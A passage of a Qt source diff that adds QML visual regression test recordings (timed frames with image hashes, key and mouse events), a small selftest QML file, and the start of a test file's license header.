+ msec: 928 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 944 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 960 + image: "basic1.0.png" + } + Frame { + msec: 976 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 992 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1008 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1024 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1040 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1056 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1072 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1088 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1104 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1120 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1136 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1152 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1168 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1184 + hash: "539de20cf149353d2677111ea3de5681" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1200 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1216 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1232 + hash: "539de20cf149353d2677111ea3de5681" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic2.0.png b/tests/auto/declarative/qmlvisual/repeater/data/basic2.0.png new file mode 100644 index 0000000..aea0e98 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data/basic2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic2.qml b/tests/auto/declarative/qmlvisual/repeater/data/basic2.qml new file mode 100644 index 0000000..81bc1f7 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data/basic2.qml @@ -0,0 +1,331 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 32 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 48 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 64 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 80 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 96 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 112 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 128 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 144 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 160 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 176 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 192 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 208 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 224 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 240 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 256 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 272 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 288 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 304 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 320 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 336 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 352 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 368 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 384 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 400 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 416 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 432 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 448 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 464 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 480 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 496 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 512 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 528 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 544 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 560 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 576 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 592 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 608 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 624 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 640 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 656 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 672 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 688 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 704 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 720 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 736 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 752 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 768 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 784 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 800 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 816 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 832 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 848 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 864 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 880 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 896 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 912 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 928 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 944 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 960 + image: "basic2.0.png" + } + Frame { + msec: 976 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 992 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1008 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1024 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1040 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1056 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1072 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1088 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1104 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1120 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1136 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1152 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1168 + hash: "539de20cf149353d2677111ea3de5681" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1184 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1200 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1216 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1232 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1248 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1264 + hash: "539de20cf149353d2677111ea3de5681" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic3.0.png b/tests/auto/declarative/qmlvisual/repeater/data/basic3.0.png new file mode 100644 index 0000000..aea0e98 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data/basic3.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic3.qml b/tests/auto/declarative/qmlvisual/repeater/data/basic3.qml new file mode 100644 index 0000000..417eaab --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data/basic3.qml @@ -0,0 +1,347 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 32 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 48 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 64 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 80 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 96 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 112 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 128 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 144 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 160 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 176 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 192 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 208 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 224 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 240 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 256 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 272 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 288 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 304 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 320 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 336 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 352 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 368 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 384 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 400 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 416 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 432 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 448 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 464 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 480 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 496 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 512 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 528 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 544 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 560 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 576 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 592 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 608 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 624 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 640 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 656 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 672 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 688 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 704 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 720 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 736 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 752 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 768 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 784 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 800 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 816 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 832 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 848 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 864 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 880 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 896 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 912 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 928 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 944 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 960 + image: "basic3.0.png" + } + Frame { + msec: 976 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 992 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1008 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1024 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1040 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1056 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1072 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1088 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1104 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1120 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1136 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1152 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1168 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1184 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1200 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1216 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1232 + hash: "539de20cf149353d2677111ea3de5681" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1248 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1264 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1280 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1296 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1312 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1328 + hash: "539de20cf149353d2677111ea3de5681" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic4.0.png b/tests/auto/declarative/qmlvisual/repeater/data/basic4.0.png new file mode 100644 index 0000000..aea0e98 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data/basic4.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic4.qml b/tests/auto/declarative/qmlvisual/repeater/data/basic4.qml new file mode 100644 index 0000000..264d825 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data/basic4.qml @@ -0,0 +1,419 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 32 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 48 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 64 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 80 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 96 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 112 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 128 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 144 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 160 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 176 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 192 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 208 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 224 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 240 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 256 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 272 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 288 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 304 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 320 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 336 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 352 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 368 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 384 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 400 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 416 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 432 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 448 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 464 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 480 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 496 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 512 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 528 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 544 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 560 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 576 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 592 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 608 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 624 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 640 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 656 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 672 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 688 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 704 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 720 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 736 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 752 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 768 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 784 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 800 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 816 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 832 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 848 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 864 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 880 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 896 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 912 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 928 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 944 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 960 + image: "basic4.0.png" + } + Frame { + msec: 976 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 992 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1008 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1024 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1040 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1056 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1072 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1088 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1104 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1120 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1136 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1152 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1168 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1184 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1200 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1216 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1232 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1248 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1264 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1280 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1296 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1312 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1328 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1344 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1360 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1376 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1392 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1408 + hash: "539de20cf149353d2677111ea3de5681" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1424 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1440 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1456 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1472 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1488 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1504 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1520 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1536 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1552 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1568 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1584 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1600 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 1616 + hash: "539de20cf149353d2677111ea3de5681" + } +} diff --git a/tests/auto/declarative/qmlvisual/selftest_noimages/data/selftest_noimages.qml b/tests/auto/declarative/qmlvisual/selftest_noimages/data/selftest_noimages.qml new file mode 100644 index 0000000..3104906 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/selftest_noimages/data/selftest_noimages.qml @@ -0,0 +1,470 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + } + Frame { + msec: 32 + } + Frame { + msec: 48 + } + Frame { + msec: 64 + } + Frame { + msec: 80 + } + Frame { + msec: 96 + } + Frame { + msec: 112 + } + Frame { + msec: 128 + } + Frame { + msec: 144 + } + Frame { + msec: 160 + } + Frame { + msec: 176 + } + Frame { + msec: 192 + } + Frame { + msec: 208 + } + Frame { + msec: 224 + } + Frame { + msec: 240 + } + Frame { + msec: 256 + } + Frame { + msec: 272 + } + Frame { + msec: 288 + } + Frame { + msec: 304 + } + Frame { + msec: 320 + } + Frame { + msec: 336 + } + Frame { + msec: 352 + } + Frame { + msec: 368 + } + Frame { + msec: 384 + } + Frame { + msec: 400 + } + Frame { + msec: 416 + } + Frame { + msec: 432 + } + Frame { + msec: 448 + } + Frame { + msec: 464 + } + Frame { + msec: 480 + } + Frame { + msec: 496 + } + Frame { + msec: 512 + } + Frame { + msec: 528 + } + Frame { + msec: 544 + } + Frame { + msec: 560 + } + Frame { + msec: 576 + } + Frame { + msec: 592 + } + Frame { + msec: 608 + } + Frame { + msec: 624 + } + Frame { + msec: 640 + } + Frame { + msec: 656 + } + Frame { + msec: 672 + } + Frame { + msec: 688 + } + Frame { + msec: 704 + } + Frame { + msec: 720 + } + Frame { + msec: 736 + } + Frame { + msec: 752 + } + Frame { + msec: 768 + } + Frame { + msec: 784 + } + Frame { + msec: 800 + } + Frame { + msec: 816 + } + Frame { + msec: 832 + } + Frame { + msec: 848 + } + Frame { + msec: 864 + } + Frame { + msec: 880 + } + Frame { + msec: 896 + } + Frame { + msec: 912 + } + Frame { + msec: 928 + } + Frame { + msec: 944 + } + Frame { + msec: 960 + } + Frame { + msec: 976 + } + Frame { + msec: 992 + } + Frame { + msec: 1008 + } + Frame { + msec: 1024 + } + Frame { + msec: 1040 + } + Frame { + msec: 1056 + } + Frame { + msec: 1072 + } + Frame { + msec: 1088 + } + Frame { + msec: 1104 + } + Frame { + msec: 1120 + } + Frame { + msec: 1136 + } + Frame { + msec: 1152 + } + Frame { + msec: 1168 + } + Frame { + msec: 1184 + } + Frame { + msec: 1200 + } + Frame { + msec: 1216 + } + Frame { + msec: 1232 + } + Frame { + msec: 1248 + } + Frame { + msec: 1264 + } + Frame { + msec: 1280 + } + Frame { + msec: 1296 + } + Frame { + msec: 1312 + } + Frame { + msec: 1328 + } + Frame { + msec: 1344 + } + Frame { + msec: 1360 + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 77; y: 7 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1376 + } + Frame { + msec: 1392 + } + Frame { + msec: 1408 + } + Frame { + msec: 1424 + } + Frame { + msec: 1440 + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 77; y: 7 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1456 + } + Frame { + msec: 1472 + } + Frame { + msec: 1488 + } + Frame { + msec: 1504 + } + Frame { + msec: 1520 + } + Frame { + msec: 1536 + } + Frame { + msec: 1552 + } + Frame { + msec: 1568 + } + Frame { + msec: 1584 + } + Frame { + msec: 1600 + } + Frame { + msec: 1616 + } + Frame { + msec: 1632 + } + Frame { + msec: 1648 + } + Frame { + msec: 1664 + } + Frame { + msec: 1680 + } + Frame { + msec: 1696 + } + Frame { + msec: 1712 + } + Frame { + msec: 1728 + } + Frame { + msec: 1744 + } + Frame { + msec: 1760 + } + Frame { + msec: 1776 + } + Frame { + msec: 1792 + } + Frame { + msec: 1808 + } + Frame { + msec: 1824 + } + Frame { + msec: 1840 + } + Frame { + msec: 1856 + } + Frame { + msec: 1872 + } + Frame { + msec: 1888 + } + Frame { + msec: 1904 + } + Frame { + msec: 1920 + } + Frame { + msec: 1936 + } + Frame { + msec: 1952 + } + Frame { + msec: 1968 + } + Frame { + msec: 1984 + } + Frame { + msec: 2000 + } + Frame { + msec: 2016 + } + Frame { + msec: 2032 + } + Frame { + msec: 2048 + } + Frame { + msec: 2064 + } + Frame { + msec: 2080 + } + Frame { + msec: 2096 + } + Frame { + msec: 2112 + } + Frame { + msec: 2128 + } + Frame { + msec: 2144 + } + Frame { + msec: 2160 + } + Frame { + msec: 2176 + } + Frame { + msec: 2192 + } + Frame { + msec: 2208 + } + Frame { + msec: 2224 + } + Frame { + msec: 2240 + } + Frame { + msec: 2256 + } + Frame { + msec: 2272 + } + Frame { + msec: 2288 + } + Frame { + msec: 2304 + } + Frame { + msec: 2320 + } + Frame { + msec: 2336 + } + Frame { + msec: 2352 + } + Frame { + msec: 2368 + } + Frame { + msec: 2384 + } +} diff --git a/tests/auto/declarative/qmlvisual/selftest_noimages/selftest_noimages.qml b/tests/auto/declarative/qmlvisual/selftest_noimages/selftest_noimages.qml new file mode 100644 index 0000000..da7f9b6 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/selftest_noimages/selftest_noimages.qml @@ -0,0 +1,9 @@ +import Qt 4.6 +Text { + property string error: "not pressed" + text: (new Date()).valueOf() + MouseArea { + anchors.fill: parent + onPressed: error="" + } +} diff --git a/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp new file mode 100644 index 0000000..78a753e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp @@ -0,0 +1,370 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** 